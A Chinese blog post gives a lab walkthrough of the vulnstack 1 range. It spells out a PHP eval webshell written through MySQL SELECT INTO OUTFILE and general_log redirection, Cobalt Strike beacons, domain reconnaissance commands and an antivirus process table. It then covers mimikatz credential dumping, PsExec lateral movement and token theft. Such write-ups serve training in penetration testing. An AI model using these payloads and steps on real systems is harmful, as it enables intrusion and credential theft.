ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透
关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html
PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机(VM1)->内网渗透域成员主机(VM2)->拿下域管(VM3)的步骤进行渗透
访问VM1:http://192.168.221.143/
收集信息如下:
IP地址:192.168.221.143
主机信息:Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
服务器解析引擎:Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站绝对路径:C:/phpStudy/WWW
被禁用函数:无
同时底部存在MySQL数据库连接检测:
输入默认账号密码:root/root
证明弱密码存在
根据经验,一般使用phpstudy都会存在phpmyadmin界面,我们可以尝试爆破目录进而通过弱密码控制数据库
使用dirsearch进行目录爆破
1 | python3 dirsearch.py -u http: //192 .168.221.143/ -e * |
如图:
http://192.168.221.143/phpinfo.php 界面敏感信息泄露
http://192.168.221.143/phpmyadmin/ phpmyadmin登录界面
root/root 登录
尝试使用select into outfile写入一句话木马
1 2 | select load_file( 'C:/phpStudy/WWW/ma.php' ); select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/WWW/ma.php' ; |
这里的网站路径是之前我们信息搜集时找到的
执行成功,但是在目录下无该文件
换一种姿势写入一句话木马
参考自:https://xz.aliyun.com/t/3283
其中的利用日志写shell
之前的信息搜集我们已知服务器mysql版本>5.0,而mysql5.0以上会创建日志文件,可以通过修改日志的全局变量getshell
步骤为:
检测日志保存状态->开启日志保存->修改日志保存路径->使用一句话木马访问网址->连接日志路径GETSHELL
日志保存状态和日志保存路径需要使用以下命令进行查看:
general_log 指的是日志保存状态,ON代表开启,OFF代表关闭
general_log_file 指的是日志的保存路径
1 | SHOW VARIABLES LIKE 'general%' |
可以看出 general_log 是关闭的,实际上该全局变量默认关闭
接着我们开启日志存储,即general_log
1 | set global general_log = "ON" ; |
接着修改日志保存路径(此处路径依然使用之前信息搜集获得的地址):
1 | set global general_log_file= 'C:/phpStudy/WWW/ma.php' ; |
然后就是通过日志写入一句话木马了,SQL查询:
1 | select '<?php eval($_POST[cmd]);?>' ; |
该查询流量会记录在日志文件里,所以我们访问日志文件 ma.php
可以看到存在我们访问的日志信息,看到有Notice,还是去靶机上面看看日志文件是否正常写入
可以看到一句话木马写入成功,上菜刀!
可以看到WEB目录和备份文件没有扫描出来,dirsearch的字典还是得自己有空再整理一下,beifen.rar很符合国人的命名习惯hhh
接着通过webshell 反弹 shell
关于CS的安装:https://www.cnblogs.com/Cl0ud/p/13709669.html
关于CS的简单使用方法:https://soapffz.com/sec/483.html
为了方便CS后台运行,进入screen
在screen窗口中运行teamserver服务
使用screen窗口中的快捷键 ctrl+ad,令任务后台运行,现在就可以关闭ssh远程连接了,运行客户端CS输入之前的CS服务端IP和密码进行登录,账号随意,只要与已登录的用户不重复即可
点击connect进行连接
小春儿加入群聊 has joined,先新建一个Listener,payload选择
beacon http,设置好对应的监听端口
保存后生成一个后门,使用刚才创建的监听器:
生成后在菜刀中上传该文件,并且执行之
就可以看到CS主机已上线
右键选择 interact 进入交互模式,将sleep调为0,这样渗透靶机就能够直接回显结果,真实渗透中一般不要直接调为0,容易被流量监测,默认为60秒
冒着电脑被卡死的风险同时开启三个虚拟机 :D
信息搜集的深度,直接关系到内网渗透测试的成败
进行本机信息搜集:
查看当前权限
1 | shell whoami |
显示主机名称
1 | shell hostname |
查询用户列表
1 | net user |
通过分析分级用户列表,可以找到内网机器的命名规则,特别是个人机器的名称,可以用来推测整个域的用户命名方式
《内网安全攻防》
获取本地管理员(通常包含域用户)信息
1 | net localgroup administrators |
使用systeminfo查看系统详细信息
1 | shell systeminfo |
补丁信息如下:
域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞
操作系统和系统版本为:
查询进程列表
1 | shell tasklist |
常见的杀毒软件的进程为:
进程名 | 软件 |
---|---|
360sd.exe | 360 杀毒 |
360tray.exe | 360 实时保护 |
ZhuDongFangYu.exe | 360 主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee | McShield.exe |
egui.exe | NOD32 |
AVP.exe | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
获得了本机的相关信息之后,就要判断当前内网中是否存在域
之前在systeminfo中,"域"即为域名,如果"域"为"WORKGROUP",则表示当前服务器不在域内:
也可以使用 ipconfig 命令,查看网络信息
得知DNS服务器名称为 god.org,DNS服务器往往与域控制器在同一台服务器上
查看域信息:
1 | shell net view |
查看当前登录域及登录用户信息
1 | shell net config workstation |
"工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境
"登录域"表示当前登录的用户是域用户还是本地用户
继续搜集域内基础信息
查询域
1 | shell net view /domain |
查询 GOD域内全部主机:
1 | shell net view /domain :GOD |
同时可以在targets里面看到扫描出来的主机
提升本机权限 getsystem
1 | getsystem |
获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限)
获取当前计算机中本地用户的密码散列值
使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出
可以看到导出的凭据信息:
同时我们之前在横向探测中已经获取到了其他targets的信息,加上现在获取到的凭证,我们可以尝试利用获取到的凭证+PsExec模块登录其他主机
虽然搭建环境的时候没有搭建成内网的,但是还是创建一个SMB的监听器:
关于 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
SMB Beacon有两种使用方式:
-
直接派生一个孩子,目的为了进一步盗取hash
-
在已有的beacon上创建监听,用来作为跳板进行内网渗透
这里我们使用第二种方式,创建SMB监听:
在弹出的窗口中选择使用 god.org
的 Administrator
的凭证信息
监听器选择刚才创建的 smb beacon
,会话也选择对应的 smb beacon
的会话:
点击launch之后等待一会,就可以获取到域控主机OWA的beacon
在域控主机上继续导出凭据,可以获得整个域内用户的密码散列值
hashdump+logonpasswords
查看已经获取到的凭据
同样的方法获取到ROOT-TVI862UBEH主机的权限
现在的枢纽结构为:
能够使用 psexec
能迅速地获得域控主机的 beacon
是因为在本机中读取到了域管理员账号密码的 hash
接下来在派生的STU1主机上尝试使用token窃取
选择 GOD\Administrator
的 token
盗取:
点击后token会存储在当前会话中
尝试登录ROOT主机
在令牌处勾选当前token
不知道为啥失败了 呜呜呜
等内网渗透熟练了再来复更,暂时就先做到这里趴。
关于CS和MSF的联动会在红日安全靶机2中进行练习
参考链接
https://soapffz.com/sec/558.html
https://v0w.top/2020/07/19/vulnstack1/
https://www.freebuf.com/column/231111.html
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/13769940.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!